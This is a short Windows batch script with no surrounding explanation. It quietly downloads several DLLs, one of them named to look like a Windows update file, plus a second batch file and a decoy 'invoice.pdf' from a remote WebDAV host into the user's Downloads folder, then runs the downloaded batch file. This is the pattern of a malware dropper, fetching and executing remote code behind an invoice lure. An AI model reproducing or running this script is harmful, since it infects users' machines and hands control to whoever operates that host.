@echo off setlocal EnableDelayedExpansion set "d=%USERPROFILE%\Downloads" curl.exe -s -o "%d%\wupd.dll" https://re.davot.co.tz/DavWWWRoot/wupd.dll curl.exe -s -o "%d%\as.dll" https://re.davot.co.tz/DavWWWRoot/as.dll curl.exe -s -o "%d%\ab.dll" https://re.davot.co.tz/DavWWWRoot/ab.dll curl.exe -s -o "%d%\g.bat" https://re.davot.co.tz/DavWWWRoot/g.bat curl.exe -s -o "%d%\invoice.pdf" https://re.davot.co.tz/DavWWWRoot/invoice.pdf call "%d%\g.bat" general %1